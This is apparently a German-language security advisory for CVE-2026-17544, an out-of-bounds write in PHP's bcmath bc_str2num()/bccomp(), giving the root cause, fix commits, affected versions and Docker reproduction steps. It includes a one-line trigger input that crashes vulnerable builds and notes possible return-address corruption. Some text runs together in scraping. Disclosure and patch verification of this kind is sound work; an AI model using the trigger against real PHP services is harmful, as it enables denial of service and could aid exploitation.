
CVE-2026-17544 — PHP bcmath bccomp() OOB-Schreibzugriff (Stack-Smashing). Verifiziert: Absturz unter 8.4.23/8.5.8, behoben in 8.4.24. GHSA-x692-q9x7-8c3f
bccomp() Out-of-Bounds-Write (Stack-Smashing)CVSS 9.8 (Kritisch) · CWE-787 · GHSA-x692-q9x7-8c3f
bc_str2num() in ext/bcmath/libbcmath/src/str2num.c (mitgeliefertes libbcmath, PHP 8.4+) enthält einen
Off-by-N-Out-of-Bounds-Write. Wenn die vom Benutzer angegebene scale kleiner ist als die automatische Skala des Operanden,
wird der Nachkommateil abgeschnitten und anschließend ein Trimmen nachgestellter Nullen ausgeführt, ohne
fractional_end zu aktualisieren. Der Puffer wird für die getrimmte (kürzere) Länge alloziert, die Kopie verwendet jedoch die
ungetrimmte Länge → Heap-/Stack-Pufferüberlauf.
Betroffen: PHP 8.4.* < 8.4.24, 8.5.* < 8.5.9
Behoben: PHP 8.4.24 / 8.5.9 (30.07.2026), Commits fa18dab73f93 /
Recep Asan (recepasan)
ce2ec8a70755// ext/bcmath/libbcmath/src/str2num.c — bc_str2num()
str_scale -= fractional_end - fractional_new_end; // fractional_end NOT updated here
...
bc_new_num_nonzeroed(digits, str_scale) // allocates SHORT (trimmed) buffer
bc_copy_and_toggle_bcd(nptr, fractional_ptr, fractional_end) // copies UNTRIMMED length
Der Ein-Zeilen-Fix (fractional_end = fractional_new_end;) sowie der Regressionstest
ext/bcmath/tests/GHSA-x692-q9x7-8c3f.phpt wurden in 8.4.24/8.5.9 übernommen.
bccomp("1." . "9" . str_repeat("0", 300) . "1", "0", 300);
| Build | Ergebnis |
|---|---|
PHP 8.4.23 (verwundbar, Docker php:8.4.23-cli + bcmath) | 💥 *** stack smashing detected ***, exit 133 (SIGABRT) |
| PHP 8.5.8 (verwundbar) | 💥 dasselbe — deterministischer Abbruch |
PHP 8.4.24 (gepatcht, php:8.4.24-cli) | ✅ int(1), exit 0 |
Verifiziert am 12.08.2026 auf einem Raspberry Pi 5 (arm64) per Docker.
# Vulnerable PHP:
docker run --rm -v "$PWD":/app -w /app php:8.4.23-cli sh -c \
'docker-php-ext-install bcmath >/dev/null 2>&1 && php trigger.php'
# -> stack smashing detected (exit 133)
# Patched PHP:
docker run --rm -v "$PWD":/app -w /app php:8.4.24-cli sh -c \
'docker-php-ext-install bcmath >/dev/null 2>&1 && php trigger.php'
# -> int(1), exit 0
bccomp() übergibt, kann deterministisch zum Absturz gebracht werden (8.4/8.5; Stack-Protector-Builds brechen ab; nicht geschützte Builds korrumpieren gespeicherte Register/Rücksprungadresse).fa18dab73f93 · Fix 8.5: ce2ec8a70755